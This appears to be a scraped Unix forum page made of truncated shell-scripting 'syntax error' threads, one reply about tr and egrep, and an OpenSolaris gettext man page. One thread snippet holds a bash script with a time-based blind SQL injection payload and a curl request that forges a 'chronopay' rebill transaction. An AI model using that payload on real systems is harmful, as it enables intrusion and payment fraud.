Making lots of assumptions and having no idea why you have an empty here-document feeding data into a tr command that is also reading from a pipeline nor why you think you need a case insensitive search while using egrep on input that has already been converted to uppercase only by two preceding tr commands, you might want to try:
This assumes that you don't want to convert tabs and sequences of one or more spaces and tabs in the expansion of $environment to single spaces and that the first character of the expansion of $environment is not a minus sign immediately after any leading spaces and tabs have been removed. I also assume that there are backslash escape sequences embedded in the expansion of $environment or you would have just used:
instead of:
and that you are using a version of bash on a system where echo expands backslash escapes by default.
Hi,
When I run the below shell script I'm getting the error " syntax error near unexpected token `"
Script:
REM :: File Name : Refresh_OTL.bat
REM :: Parameters : %1 - Region
REM :: : %2 - Cube Type
REM :: :
REM :: Notes :
REM ============================== set ENVIRONMENT... (2 Replies)
Hi all,
Here is a simple script that is working in one server and is giving a syntax error in other server. Can somebody help me ?
#!/bin/bash
# ftp files
done < $file
errors:
I tried..with no success:
if ; then (21 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
hi! just want to seek help on this error: syntax error near unexpected token 'do
this is my script
# !/bin/sh
#
for y in 27 25
do
exemmlmx -c "ZEEI;" -n XRT$y >> blah
done
what can be wrong? thanks! (6 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
howdy,
so I'm make a plugin work for Nagios, and the commandline is:
/usr/lib/nagios/plugins/check_mssql -H MySQLServerName -u MySqlAccountName -p MyPassword(#XXXXX -d MyDatabaseName
it is barfing with:
bash: syntax error near unexpected token `('
Thoughts?
Do I have to wrap something... (2 Replies)
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT OPENSOLARIS
gettext
gettext(1) User Commands gettext(1)NAME
gettext - retrieve text string from message database
SYNOPSIS
gettext [-d textdomain | --domain=textdomain]
[textdomain] msgid
gettext -s [-e] [-n]
[-d textdomain | --domain=textdomain] msgid...
DESCRIPTION
The gettext utility retrieves a translated text string corresponding to string msgid from a message object generated with msgfmt(1). The
message object name is derived from the optional argument textdomain if present, otherwise from the TEXTDOMAIN environment. If no domain is
specified, or if a corresponding string cannot be found, gettext prints msgid.
Ordinarily, gettext looks for its message object in /usr/lib/locale/lang/LC_MESSAGES where lang is the locale name. If present, the TEXTDO-
MAINDIR environment variable replaces the pathname component up to lang.
This command interprets C escape sequences such as for tab. Use \ to print a backslash. To produce a message on a line of its own,
either enter
at the end of msgid, or use this command in conjunction with printf(1).
When used with the -s option, gettext behaves like echo(1). But it does not simply copy its arguments to standard output. Instead, those
messages found in the selected catalog are translated.
OPTIONS
The following options are supported:
-d textdomain Retrieves translated messages from the domain textdomain, if textdomain is not specified as an operand.
--domain=textdomain
-e Enables expansion of some escape sequences if used with the -s option.
-n Suppresses trailing newline if used with the -s option.
-s Behaves like echo(1) (see DESCRIPTION above). If the -s option is specified, no expansion of C escape sequences
is performed and a newline character is appended to the output, by default.
OPERANDS
The following operands are supported:
textdomain A domain name used to retrieve the messages. This overrides the specification by the -d or --domain options, if present.
msgid A key to retrieve the localized message.
ENVIRONMENT VARIABLES
LANG Specifies locale name.
LC_MESSAGES Specifies messaging locale, and if present overrides LANG for messages.
TEXTDOMAIN Specifies the text domain name, which is identical to the message object filename without .mo suffix.
TEXTDOMAINDIR Specifies the pathname to the message database. If present, replaces /usr/lib/locale.
ATTRIBUTES
See attributes(5) for descriptions of the following attributes:
+-----------------------------+-----------------------------+
| ATTRIBUTE TYPE | ATTRIBUTE VALUE |
+-----------------------------+-----------------------------+
|Availability |SUNWcsu |
+-----------------------------+-----------------------------+
SEE ALSO echo(1), msgfmt(1), printf(1), gettext(3C), setlocale(3C), attributes(5)NOTES
This is the shell equivalent of the library routine gettext(3C).
SunOS 5.11 17 Sep 2001 gettext(1)